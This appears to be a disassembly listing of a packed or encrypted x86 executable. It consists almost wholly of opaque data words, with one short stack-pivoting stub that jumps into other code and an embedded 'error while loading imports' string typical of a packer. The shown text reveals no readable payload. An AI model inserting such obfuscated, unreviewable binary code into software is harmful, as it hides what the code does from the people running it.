dd 7C6C537Dh, 77EEAC97h, 0B446A227h, 9834CB82h, 16E1F1Ah
dd 24451751h, 4EDAA576h, 6A06ACA3h, 92297C0Dh, 24447C3Ch
dd 872F4876h, 0D26D680Bh, 12A0B0E2h, 21BB2BE4h, 0B7000008h
dd 4551330Eh, 0C2DEBABFh, 56422E3Dh, 0E5B1D3AEh, 1B385859h
dd 0E3E682BAh, 96731581h, 1C139E0Ah, 8483207Ch, 6586FE4h
dd 7C731A42h, 0B96F388Eh, 2A27CF7Eh, 65643AADh, 0F17C6C46h
dd 9ABF9B6h, 0B2306C0Ch, 0AB96C6B7h, 0B057EE9h, 58B429B2h
dd 0A7F79E34h, 7C6C7219h, 3CDBA8D7h, 991BC1BEh, 1C72099Ch
dd 7C6C715Ch, 0C6980F68h, 7C6C7182h, 0F989214Eh, 6C72256Fh
dd 0B0526F7Ch, 72334925h, 0B6F17C6Ch, 17F46A1Fh, 55729300h
dd 33B1EDFDh, 660D9F36h, 7951263h, 0A3D0667Bh, 6C584913h
dd 0FEF37F7Ch, 7570F381h, 53F56704h, 0D6983976h, 5B5D069h
dd 15109246h, 70570982h, 0EE78DE9Dh, 0C66C3848h, 0B024B2C3h
dd 0C47C6C51h, 0DD4CCF3Eh, 0FDBCEB68h, 0EA7D0F7Ch, 0A7F78EFFh
dd 7C6D0DE1h, 75E580EFh, 0A41671B6h, 0A1B73DE7h, 24740504h
dd 99068782h, 0FAA693FBh, 6D0DE4A4h, 36B7F07Ch, 0D86CF9Fh
dd 55527C6Dh, 8C832EC2h, 0E4398926h, 0C0F0CE71h, 4652233Eh
dd 0A8C9A6BDh, 0CEBFBA38h, 0B34837EBh, 93FEC5Eh, 0AFC8AD12h
dd 1B8C8h, 7EB95300h, 57222128h, 44C56703h, 24643AD1h
dd 0B7762464h, 1357A821h, 0D8A7D58Fh, 92CBA372h, 0B37C6C3Dh
dd 3E06421Ch, 21D27C6Ch, 54515623h, 0BF17948Fh, 4FE17433h
dd 0D7C3A1A4h, 0A5E4DD2Ch, 0E352E110h, 77F4F571h, 337549E0h
dd 817C6C78h, 591F6FE6h, 677C6C77h, 0B505B218h, 3B32351h
dd 0D5A2BF47h, 0AB393CC7h, 47F0C09h, 0F930C9B6h, 0ED965A01h
dd 951E8A16h, 0FA96E19Eh, 6A0B787Fh, 0B74D68C4h, 8520BCD5h
dd 1EB4F582h, 8EFFF272h, 4A0E60F7h, 96F73321h, 52D141E9h
dd 0DA593557h, 0A2D7AEDFh, 96779A41h, 1D67A2B6h, 501A908Dh
dd 0E95D7BD3h, 0C669BD65h, 0E68D5714h, 81DD74E3h, 69A8FAC7h
dd 0A4C46A15h, 3F4C4BE8h, 37AE6451h, 0A8FB2167h, 53D3AF69h
dd 213CC25Eh, 3FD1C0A0h, 7B17BFB2h, 0D46BFAFFh, 0A8FABEFAh
dd 0C56D0A69h, 39DBE6B6h, 0FA9CD0AEh, 4F2869A8h, 0F7F2712Dh
dd 4B4EEA86h, 54C45DCh, 469033FAh, 84460250h, 159269A8h
dd 97E4E187h, 94334016h, 30B37926h, 0B83B5735h, 0B580CCBDh
dd 52F4881Fh, 1F6F0677h, 69A88359h, 0EE9B1867h, 610482F0h
dd 4ACB6346h, 0A8843C74h, 8DEF8869h, 0E6979211h, 7DE8EF8Ah
dd 0E84E43E3h, 65DA90CBh, 0A63134BFh, 83F9BF0Fh, 0B8C769A8h
dd 991A7612h, 0BCAED6Eh, 0C9765276h, 2BE9D4B8h, 77B2E2BCh
dd 592669A8h, 0E7316A3Bh, 0D99FEFD3h, 0E769A8F6h, 0C305EF98h
dd 6A36FC7h, 8C237203h, 217170F0h, 69A90767h, 0C8A40A75h
dd 2CC057EDh, 70258D84h, 0A9076A1Eh, 4F1F7669h, 69A90809h
dd 492BA8D7h, 0EDFE85AAh, 2432D791h, 1D9AE576h, 66241F7Fh
dd 3C129FEFh, 0A13B7C6Ch, 0F900001h, 0AC026310h, 58F4630Ch
dd 0E2BEDADDh, 5D334047h, 512DB862h, 82B44DD4h, 0D8760760h
dd 76245A9Ch, 9012CBF4h, 1587E495h, 9C1D6A6Fh, 7213881Fh
dd 8938864Dh, 8925377Ch, 6A505AFCh, 7C7D51C4h, 0C87C6C8Dh
dd 21C2DEAFh, 6F0F9B22h, 76290C58h, 4C7F8h, 69680900h
dd 10159F0Bh, 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h
dd 633F5D5Ch, 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 1C98D0AEh
dd 82247C73h, 0DC7EB901h, 3411B749h, 444D2647h, 71EE704Eh
dd 26BD58FEh, 43EBEE8Ah, 6C893415h, 70E7807Ch, 2E5F4ADCh
dd 7CCAE941h, 7C6C4939h, 5FE17B12h, 0DE743542h, 12093FECh
dd 0C8DBA904h, 93h, 332D4753h, 0CF087624h, 315356DDh, 2EB95B59h
dd 24332050h, 0AB74976h, 330B4D21h, 0DED97624h, 0C9B72051h
dd 32EEEF95h, 0D9D971FEh, 0A95247DEh, 0F7C0CF16h, 0DB0609F4h
dd 466986AEh, 32B1C3F0h, 610CA037h, 7271F26Eh, 3BD5CCDCh
dd 0ADCABBBEh, 0C98BA905h, 6150005Eh, 139C7624h, 966D1662h
dd 0FC96A20Ah, 606F1569h, 3A457624h, 0A0B7FD4Dh, 5A187624h
dd 9F3503E5h, 53DF7108h, 0EA40215Eh, 24A0C8ECh, 0F1931C76h
dd 0E447h, 11922E00h, 0B92BBC12h, 5049DC7Eh, 0DEEDA3C7h
dd 7277FD82h, 4FE76405h, 5AF1E8C6h, 4987C6Ch, 6B087978h
dd 5DC8B7C3h, 0AC333DC3h, 224330B1h, 0B9DEF8Ch, 0E16E7B0Dh
dd 0E1991283h, 79FE17C8h, 0AD9468CEh, 662678EFh, 627C6C50h
dd 9DE67405h, 4A7C6C50h, 1E052398h, 0C42456F3h, 85h, 0C413F4ADh
dd 2220A221h, 47340BB6h, 0B9F79026h, 734BDA80h, 76243335h
dd 597E483h, 8B1A6663h, 32DE9AF4h, 680A7624h, 0ED9F1C6Dh
dd 69502C82h, 0E49D34A3h, 9224DE10h, 0DEFC52CDh, 7624FCE6h
dd 31443572h, 0B911149Fh, 253C591Bh, 0F3E58F76h, 82F3706Dh
dd 0CABD4CF6h, 0D934EE4Eh, 734637B4h, 6C0BC0BFh, 0EED731EEh
dd 0EFE5B92Ch, 657624F1h, 9AF48B1Ah, 7624F1DEh, 441A8DEAh
dd 7624F204h, 637FD7D0h, 0FBFE85C0h, 0E186FB8Ah, 0FF7C1714h
dd 1E7BDAB8h, 66E78EE5h, 0A4A340D0h, 1D089F31h, 1BA70F6Ch
dd 0FAD488B3h, 76243BBEh, 0FFF27E0Ah, 866F17Eh, 7C6C4EE5h
dd 5DEF6601h, 7D7AD0D1h, 6C4DA7EDh, 4B30A27Ch, 0A909A65Dh
dd 2C7CDBh, 0B9A70000h, 7549DC7Eh, 7C6C4064h, 3D38BB55h
dd 0ED9AE595h, 6C40175Dh, 0C15B327Ch, 5455223Fh, 291FCCFEh
dd 0DBA903F2h, 0BE28h, 0FE857300h, 0F9D56CFBh, 762432BFh
dd 15D6960Dh, 146CD4E2h, 0E0B03F97h, 64344544h, 0D9ABD8DFh
dd 34C85F5Ah, 0F0924093h, 572C3A6h, 20B6F784h, 5C6ED680h
dd 0D95A7624h, 50E7BEDAh, 24543A7Eh, 51F98676h, 562722C1h
dd 89F3D06h, 6C83E7B6h, 1C72037Ch, 7C6C405Ch, 0E28E0F68h
dd 7CEBB18Ah, 0B6E52D22h, 42E1BD82h, 0BD4FC647h, 44503031h
dd 99DFAFB8h, 277626DCh, 7C64DB58h, 4A129E19h, 1EA25D5h
dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h
dd 7335891Ch, 417C731Fh, 0F98524FFh, 670C98F8h, 0B9630060h
dd 7549DC7Eh, 7C6C4064h, 2B60F7B0h, 6FDF8799h, 0DAD9713Eh
dd 6C8C480Ch, 0F58C037Ch, 6C8BDF99h, 1391ED7Ch, 9B189916h
dd 0E2C2B933h, 0DBA95739h, 0E9E3h, 0FE853800h, 54D06CFBh
dd 0EF472455h, 0C134B0C0h, 283905FBh, 4A3BB8C6h, 8E61463Bh
dd 3B5F1975h, 26D7624h, 49D17771h, 0FD91F3E1h, 7C077624h
dd 757EE79h, 7624F541h, 0B0C1C46Fh, 8DE681F3h, 0A12F8509h
dd 0FF8B23E2h, 740500A3h, 0EA7D1F18h, 6D17C994h, 0F6921D7Ch
dd 47D6EA9Fh, 82EAAE00h, 89F67C6Ch, 18C0FCh, 0BC121590h
dd 0A235D7E0h, 0B752F4CCh, 0E0773082h, 0FA7B5049h, 6D6C69B9h
dd 265D5711h, 9D1A6576h, 0D8D96535h, 7C52E9B8h, 76265E3Ch
dd 0CB47EF88h, 0ABBC392Fh, 265D95D3h, 0C7442376h, 96EFE746h
dd 26D9129Eh, 0CBA8h, 6D640D00h, 1411930Fh, 98871874h
dd 0D04ACF8h, 0B2B7336Fh, 0DCE4CDD6h, 67335150h, 0E8A4C4C1h
dd 722E4A4Dh, 3D96F2F1h, 2094D4AAh, 9E207C73h, 0F8F98505h
dd 60670C98h, 0FE856300h, 3D4A4DE8h, 4F5AEC7Ch, 83F0713Eh
dd 0DDDC58F4h, 1B1EA575h, 64261179h, 159A9DF1h, 412E7C73h
dd 0C4C36030h, 0A4E4BA51h, 0D57C7314h, 7314BFF9h, 16620D7Ch
dd 0F5A1C169h, 0AC3A4B4Eh, 0B0EB629Fh, 780914ABh, 169E8C28h
dd 8C0D6A1Bh, 493684FFh, 0DA8179B0h, 66227C13h, 72A85AE1h
dd 0DF3099C1h, 8300E0C0h, 0C1C46F2Bh, 494CF7A3h, 0C9C86838h
dd 2027C25Eh, 0E86AED8Ah, 4F4AE933h, 0F7F2712Dh, 0A0886h
dd 0E37D0000h, 70314E43h, 0DA41C9DAh, 94E5FC85h, 0B787F04h
dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah
dd 397655EAh, 0BFCCC96Bh, 0E78957B9h, 4C781h, 0EF810000h
dd 4, 5C243C87h, 68241C89h, 60EDh, 68240489h, 42C3h, 68241C89h
dd 64EE312h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 4832424h
dd 815B0424h, 4ECh, 24048900h, 8B08438Fh, 8956241Ch, 4C681E6h
dd 83000000h, 348704C6h, 48B5C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_541331
; ---------------------------------------------------------------------------
db 0F6h, 7Fh, 0A9h
dd 0F9AD2C18h, 4EEF78B8h, 0FFC50306h, 80EDE0h, 0C841A14Dh
dd 0F69FE352h, 0A92F2D2Ah, 9B24840Eh, 3787C221h, 0E2CCF306h
dd 197C4E14h, 0F066565h, 0E06F274Fh, 0D30E403Dh, 7632CB2Eh
dd 31AE142Fh, 0B8996C32h, 0AA6C9143h, 225A1604h, 0BFBA0104h
dd 976CF053h, 6071786Bh, 0AEA10070h, 96734A12h, 8B518674h
dd 5B8B8062h, 0E8229B22h, 32CCE612h, 11E829h, 856F0000h
dd 0A8C5525Ah, 4F764AD0h, 925D145Ah, 0F3C6A25h, 589h, 0E0816600h
dd 0F5B3FC7h, 1D88h, 8D0F6000h, 0
dd 10E9h, 878F4A00h, 8093CF87h, 4F5AC06Eh, 0F83BEDFEh
dd 0C3816197h, 63C9h, 11E952h, 198F0000h, 0DC76D9B0h, 2C77480Fh
dd 0ED3198A2h, 5ABE0284h, 0AE9F62Bh, 7D000000h, 27265515h
dd 36162C4Bh, 333C8B5Bh, 81D1BF0Fh, 6EF84DEFh, 81D78A14h
dd 1FACACF7h, 0E3C7814Fh, 8178E45Eh, 110377E0h, 333C8964h
dd 0BAD38B66h, 3657F90Bh, 0E902EE83h, 0Fh, 164C77E8h, 8AD06816h
dd 0C5615E6Dh, 4E44C325h, 0E7C9804Eh, 9CF8FE81h, 850FFFFFh
dd 0FFFFFFADh, 8DC3B70Fh, 4EF1FB8Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0EDF0BCAEh
dd 92B5920Dh, 5057910Dh, 0F4CCDB81h, 5A5B47BFh, 14058D89h
dd 11E90648h, 86000000h, 10B81F42h, 7CC1F0A0h, 0F5561425h
dd 0F8051CE6h, 302585C7h, 59EC0648h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6AFD56C3h
dd 0DE29FCE4h, 2AD985C7h, 648h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 22C58CC3h
dd 893B3C68h, 99B5FFF8h, 8B06480Ch, 481C0D95h, 7195FF06h
dd 2B06480Eh, 48012DBDh, 0FF006A06h, 48092D95h, 0EBC08B06h
dd 0BB8F4E5Ch, 0AAF12583h, 9FD08338h, 9CF7D77h, 0BEED93CAh
dd 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 0BBBC2781h
dd 1329FB3Eh, 0C587BD24h, 272BDBCBh, 58B449B6h, 31165E8h
dd 0AA18874Ah, 7B8B8C29h, 0FC0ADE76h, 0C0D54497h, 0CBAC557Bh
dd 721D8F40h, 0E1B23C91h, 80152623h, 127E950h, 5B500000h
dd 0EFAC7376h, 154Eh, 6E410000h, 72724520h, 6820726Fh
dd 6F207361h, 72727563h, 77206465h, 656C6968h, 616F6C20h
dd 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h, 0E75CEB77h
dd 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h, 777h
dd 5 dup(0)
dd 0E7A5FD00h, 77h, 2Bh dup(0)
dd 600h, 6E14800h, 921DF4C7h, 96A6CF63h, 5D74BB8Fh, 1C131134h
dd 185335B1h, 6166427Ah, 9E35722Bh, 1177A9F2h, 90EF8832h
dd 132E6D8Bh, 0B102BFBFh, 0C6991778h, 0A8E5D069h, 132E4907h
dd 45715632h, 1177A961h, 90EF8832h, 132E6D8Bh, 0B435BFBFh
dd 0C6991778h, 0D5EDD069h, 0E7D6F9B1h, 1A66247Ch, 156601B6h
dd 33E30532h, 0EA600A8Eh, 43E3AFE2h, 0EA605F8Eh, 0ECE34EE2h
dd 43600C3Dh, 0BDDE705Ah, 0BCD3EEAEh, 9860C01Bh, 5E1924B7h
dd 9CB6DD34h, 5D7370B7h, 95E30534h, 45600AC1h, 0E707A7BFh
dd 0EA36177Ch, 5D5629A7h, 0D0E38334h, 15606A3Fh, 0D3661132h
dd 5D6971B7h, 7C0E0134h, 0EAE8505Bh, 5D68C487h, 0AFE30534h
dd 0EA600C0Ah, 98E3ABE2h, 0D3605920h, 5D6971B7h, 4B0E0734h
dd 0EAFA4559h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 8DE3ABE2h
dd 0D3605FC0h, 5D6971B7h, 3C0E1034h, 0EA88405Ah, 5D68C487h
dd 0AFE30534h, 0EA600C0Ah, 89E3ABE2h, 0D3605FC0h, 5D6971B7h
dd 0D70E0134h, 0EABC420Ah, 5D68C487h, 0AFE30534h, 0EA600C0Ah
dd 0B5E3ABE2h, 96605FC0h, 5D566D8Fh, 90694434h, 15662277h
dd 1A9F94F4h, 7D238E7Ah, 0EF463AB4h, 1BB397CDh, 90EB177Ah
dd 132EB088h, 90EF94CDh, 1328D096h, 1A9F94F4h, 7D2A8E7Ah
dd 0F54094F1h, 1BB397CDh, 90EB177Ah, 132EB088h, 90EF94CDh
dd 1328D09Ah, 156651DBh, 0ECE34E32h, 47600C3Dh, 5F822F5Ah
dd 68D3EE8Eh, 9860C000h, 5D5EFEB7h, 9CB6DD34h, 5B94B5B7h
dd 0ECE34E34h, 47600C3Dh, 592C6A5Ah, 68D3EE94h, 9860C000h
dd 5D5EFEB7h, 9CB6DD34h, 5B94B9B7h, 0ECE34E34h, 47600C3Dh
dd 57D2C85Ah, 0C0D3EECFh, 9860C03Ch, 5D5EFEB7h, 9CB6DD34h
dd 5D56A8B7h, 0ECE34E34h, 62600C3Dh, 82CE815Ah, 38D3EEC1h
dd 9860C01Dh, 5D5EFEB7h, 9CB6DD34h, 5D6D18B7h, 0ECE34E34h
dd 47600C3Dh, 0C857355Ah, 0C0D3EEB8h, 9860C03Ch, 5D5EFEB7h
dd 9CB6DD34h, 5D6C64B7h, 0ECE34E34h, 43600C3Dh, 0A0B1B5Ah
dd 0BCD3EEE6h, 9860C01Bh, 5E1924B7h, 9CB6DD34h, 5D6CE4B7h
dd 0ECE34E34h, 52600C3Dh, 0C976585Ah, 0C0D3EEB3h, 9860C03Ch
dd 5D5EFEB7h, 9CB6DD34h, 5D7A0CB7h, 0ECE34E34h, 52600C3Dh
dd 1AD3C05Ah, 0C0D3EEB8h, 9860C03Ch, 5D5EFEB7h, 9CB6DD34h
dd 5B94D9B7h, 0F8DB0B34h, 15600C1Ch, 1337A63Dh, 90A01132h
dd 132E87CBh, 98F2C7Eh, 0A099FBE8h, 132E1FE7h, 2DDC0DBFh
dd 0C599427Ah, 0E7D2A7BBh, 90A0177Ch, 132E87CBh, 0CBA82C7Eh
dd 0A099FF46h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7DEA7BBh
dd 90A0177Ch, 132E87CBh, 97592C7Eh, 0A09995B3h, 132E1FE7h
dd 2DDC0DBFh, 0C599427Ah, 0E7DAA7BBh, 90A0177Ch, 132E87CBh
dd 557E2C7Eh, 0A099911Dh, 132E1FE7h, 2DDC0DBFh, 0C599427Ah
dd 0E7DAA7BBh, 90A0177Ch, 132E87CBh, 13722C74h, 0A09998ECh
dd 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7A2A7BBh, 90A0177Ch
dd 132E87CBh, 51C2C75h, 0A099A3EEh, 132E1FE7h, 2DDC0DBFh
dd 0C599427Ah, 0E7AAA7BBh, 90A0177Ch, 132E87CBh, 9BCA2C75h
dd 0A099CDB5h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7B6A7BBh
dd 90A0177Ch, 132E87CBh, 0B2B42C75h, 0A099F6A8h, 132E1FE7h
dd 2DDC0DBFh, 0C599427Ah, 0E7B2A7BBh, 90A0177Ch, 132E87CBh
dd 2C622C75h, 0A09998F3h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah
dd 0E7BEA7BBh, 0A8E5177Ch, 132E8FCFh, 0D3463132h, 5D69DBB7h
dd 720E5634h, 0EA86FA1Fh, 5D689187h, 0AFE3AF34h, 0EA60590Ah
dd 0C9E301E2h, 0D3600AC0h, 5D69DBB7h, 0A40E5634h, 0EAE8A181h
dd 5D689187h, 0AFE3AF34h, 0EA60590Ah, 0F5E301E2h, 0D3600AC0h
dd 5D69DBB7h, 0B20E5234h, 0EAA6FE78h, 5D689187h, 0AFE3AF34h
dd 0EA60590Ah, 0F1E301E2h, 0D3600AC0h, 5D69DBB7h, 0FE0E5D34h
dd 0EA9DEE5Eh, 5D496987h, 0AFE3AF34h, 0EA60590Ah, 6DE301E2h
dd 0D3600AC1h, 5D69DBB7h, 400E5534h, 0EADDFBBCh, 5D689187h
dd 0AFE3AF34h, 0EA60590Ah, 0FDE301E2h, 0D3600AC0h, 5D69DBB7h
dd 0E90E5234h, 0EADA065Ch, 5D689187h, 0AFE3AF34h, 0EA60590Ah
dd 0F9E301E2h, 0D3600AC0h, 5D69DBB7h, 0BF0E4234h, 0EAA0980Ch
dd 5D689187h, 0AFE3AF34h, 0EA60590Ah, 0E5E301E2h, 96600AC0h
dd 5D79278Fh, 91691134h, 156688D2h, 1A9FC1F4h, 7D20247Ah
dd 0EFF0DF03h, 1BB33DCDh, 90EB427Ah, 132E1A88h, 90EFC1CDh
dd 13287B7Eh, 1A9FC1F4h, 7D20247Ah, 0E9C12BE4h, 1BB33DCDh
dd 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B6Eh, 1A9FC1F4h
dd 7D20247Ah, 879AB532h, 1BB33DCDh, 90EB427Ah, 132E1A88h
dd 90EFC1CDh, 13287B52h, 1A9FC1F4h, 7D20247Ah, 0E3B25E58h
dd 1BB33DCDh, 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B56h
dd 1A9FC1F4h, 7D20247Ah, 81AB41D5h, 1BB33DCDh, 90EB427Ah
dd 132E1A88h, 90EFC1CDh, 13287B62h, 1A9FC1F4h, 7D20247Ah
dd 0A4446509h, 1BB33DCDh, 90EB427Ah, 132E1A88h, 90EFC1CDh
dd 13287B66h, 1A9FC1F4h, 7D20247Ah, 0CA1FFBDFh, 1BB33DCDh
dd 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B6Ah, 129BF9B1h
dd 6066247Ah, 0ECE3D712h, 4660C03Dh, 0AB861A5Ah, 0C0D3DDFCh
dd 9860593Ch, 5D5E32B7h, 9CB6BB34h, 5B94D6B7h, 0ECE3D734h
dd 5260C03Dh, 0A438C35Ah, 0C0D3DDF5h, 9860593Ch, 5D5E32B7h
dd 9CB6BB34h, 5B94DAB7h, 0E8DB9234h, 1560C035h, 90A06447h
dd 132E2DCBh, 6B637975h, 0A0996E50h, 132E4AE7h, 2DDCA7BFh
dd 0C599177Ah, 0E79A0DBBh, 90A0427Ch, 132E2DCBh, 1C907971h
dd 0A0991A48h, 132E4AE7h, 2DDCA7BFh, 0C599177Ah, 0E6660DBBh
dd 90A0427Ch, 132E2DCBh, 82467971h, 0A0997413h, 132E4AE7h
dd 2DDCA7BFh, 0C599177Ah, 0E6620DBBh, 0A8E5427Ch, 132E25CFh
dd 0D3266432h, 5D6971B7h, 160E0734h, 0EAED229Ah, 5D68C487h
dd 0AFE30534h, 0EA600C0Ah, 19E3ABE2h, 0D3605FC1h, 5D6971B7h
dd 0C00E0734h, 0EA837904h, 5D68C487h, 0AFE30534h, 0EA600C0Ah
dd 1DE3ABE2h, 0D3605FC1h, 5D6971B7h, 0F40E0734h, 0EA8C8800h
dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 5E3ABE2h, 0D3605FC1h
dd 5D6971B7h, 220E0734h, 0EAE2D39Eh, 5D68C487h, 0AFE30534h
dd 0EA600C0Ah, 1E3ABE2h, 0D3605FC1h, 5D6971B7h, 0C10E0B34h
dd 0EAF117A2h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 0DE3ABE2h
dd 0D3605FC1h, 5D6971B7h, 170E0B34h, 0EA9F4C3Ch, 5D68C487h
dd 0AFE30534h, 0EA600C0Ah, 9E3ABE2h, 0D3605FC1h, 5D6971B7h
dd 5C0E0934h, 0EAAE154Bh, 5D68C487h, 0AFE30534h, 0EA600C0Ah
dd 31E3ABE2h, 0D3605FC1h, 5D6971B7h, 9C0E0934h, 0EABAD57Fh
dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 35E3ABE2h, 0D3605FC1h
dd 5D6971B7h, 220E1134h, 0EAFA391Fh, 5D68C487h, 0AFE30534h
dd 0EA600C0Ah, 3DE3ABE2h, 0D3605FC1h, 5D6971B7h, 3F0E0734h
dd 0EAB4F7C2h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 39E3ABE2h
dd 0D3605FC1h, 5D6971B7h, 0FF0E1634h, 0EA9B6086h, 5D68C487h
dd 0AFE30534h, 0EA600C0Ah, 0ACE3ABE2h, 0D3605902h, 5D6971B7h
dd 8C0E0334h, 0EA84BA6Bh, 5D68C487h, 0AFE30534h, 0EA600C0Ah
dd 25E3ABE2h, 0D3605FC1h, 5D6971B7h, 0D70E0334h, 0EAD7DF52h
dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 21E3ABE2h, 0D3605FC1h
dd 5D6971B7h, 10E0334h, 0EAB984CCh, 5D68C487h, 0AFE30534h
dd 0EA600C0Ah
dd 2DE3ABE2h, 0D3605FC1h, 5D6971B7h, 7D0E1B34h, 0EAF872C0h
dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 29E3ABE2h, 0D3605FC1h
dd 5D6971B7h, 2A0E0B34h, 0EAA1DE49h, 5D68C487h, 0AFE30534h
dd 0EA600C0Ah, 7DE3ABE2h, 0D3605FC1h, 5D6971B7h, 590E0334h
dd 0EA9C795Ch, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 79E3ABE2h
dd 0D3605FC1h, 5D6971B7h, 0D80E0334h, 0EAA52416h, 5D68C487h
dd 0AFE30534h, 0EA600C0Ah, 65E3ABE2h, 0D3605FC1h, 5D6971B7h
dd 0D90E1B34h, 0EAB29952h, 5D68C487h, 0AFE30534h, 0EA600C0Ah
dd 55E3ABE2h, 0D3605FC1h, 5D6971B7h, 5B0E1B34h, 0EAF8CB66h
dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 51E3ABE2h, 0D3605FC1h
dd 5D6971B7h, 5D0E1B34h, 0EAB7311Ah, 5D68C487h, 0AFE30534h
dd 0EA600C0Ah, 5DE3ABE2h, 7F605FC1h, 566E036h, 150E4432h
dd 7F662222h, 74F3EE32h, 9C60C027h, 5D541DB7h, 1DE3AF34h
dd 0EA605FE8h, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h
dd 5D73E9A7h, 0A0E3CD34h, 9C606A19h, 5D756CB7h, 7D26E234h
dd 15665432h, 1466225Ah, 0EA667B32h, 5D73E9A7h, 0DCE3CD34h
dd 9E606A27h, 5D6DF887h, 6CFB0334h, 9C600C3Dh, 5D62FF87h
dd 94FB9834h, 9E60C01Ah, 5D693DAFh, 966DA934h, 916911CBh
dd 156682EDh, 26061562h, 90E3ABF2h, 0AB605922h, 1566880Eh
dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
dd 3EFF9FBBh, 0EAE3177Ah, 156C0D3Dh, 1B8E4432h, 0FC662223h
dd 156611A3h, 7EB10363h, 80EF40E0h, 132E3443h, 150E1558h
dd 47668822h, 80994458h, 132E3753h, 36C794BBh, 0C5ED8E7Ah
dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 5D541D8Fh, 0EAAFA134h
dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh
dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 90E3EE60h, 9E60C022h
dd 5D76C1A7h, 8CF31B34h, 1A605919h, 156682B6h, 96381E32h
dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 0D33C1F5h, 1566247Ah
dd 90A11132h, 132EA1C7h, 15664432h, 0E7D69FB1h, 1A66177Ch
dd 156680B6h, 1AFBC932h, 0EA606C7Fh, 0FCE3EEE1h, 9660C019h
dd 5D4DAD8Fh, 97694634h, 15661150h, 3E8F0DF5h, 1567427Ah
dd 98062232h, 5B959987h, 0E6DB0534h, 3E600B3Dh, 9EB1A9CCh
dd 5D54488Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h
dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 132EAAA3h
dd 1571C03Dh, 0A8E52232h, 132E311Fh, 1FE38732h, 0D2664432h
dd 5D6BE7B7h, 15661034h, 0D2DFE932h, 0AF567144h, 46A1E3DDh
dd 0C8D3989Fh, 0D260C036h, 1566B874h, 0FB5B2232h, 1A88FFDCh
dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h
dd 96664432h, 0A0EF26F4h, 132E15EFh, 156E71DBh, 26BECF32h
dd 5D6BE7B7h, 16AED034h, 0D5A74A19h, 9CA77722h, 5D6BE7AFh
dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h
dd 1566880Bh, 156642F5h, 0D3E52232h, 0C8D39836h, 9E60C036h
dd 5D693DAFh, 9E6DA934h, 0D7ED71E2h, 3CA70D19h, 0F5A7427Ah
dd 0D0E32130h, 83605924h, 9CA78B9Fh, 747A6076h, 15665EDBh
dd 26344032h, 0B4F303FBh, 2E600C11h, 2DE22D30h, 96661132h
dd 2E278CF0h, 5D4DDDBFh, 0FDE32D34h, 9899EECDh, 5B94E587h
dd 0F0DBC934h, 0B9606A2Eh, 9169D1B6h, 15668834h, 0EA97AD98h
dd 15DEDDCDh, 98661132h, 5D2808BFh, 9C87BB34h, 5D76A7BFh
dd 433F4B34h, 1A1F15B9h, 1EED427Ah, 5E3A7B9h, 0F5B7177Ah
dd 36470D31h, 0E355427Ah, 0D4CB44A4h, 906513D2h, 132E9EF7h
dd 0D465E9A4h, 0B4DBA16Ch, 1460593Bh, 155F0C3Dh, 985D4432h
dd 132E2CE7h, 154B953Dh, 985D8832h, 132E6B1Fh, 1547A63Dh
dd 985D1132h, 132EAFF7h, 1573C03Dh, 88EB2232h, 132916F9h
dd 0EDED5BCDh, 0E1FC1BBh, 0A18F247Ah, 98661134h, 5A6143AFh
dd 96B5BB34h, 5D6F838Fh, 91691134h, 1566882Fh, 3A3BC109h
dd 9169247Ah, 1566113Eh, 19AF0D09h, 9069427Ah, 15662237h
dd 0EA99A8DBh, 98E3B3CDh, 1A600C20h, 15663AB7h, 0F0DB9232h
dd 1560C002h, 156DC13Dh, 90EB2232h, 1328C8E6h, 0EA991DDBh
dd 98E37FCDh, 1A606A20h, 0EA9998B6h, 7CDB0BCDh, 14600AC0h
dd 1571A73Dh, 905D1132h, 13287AFAh, 156DC13Dh, 90EB2232h
dd 153EF792h, 0EA99E5DBh, 969977CDh, 5D48CF8Fh, 91691134h
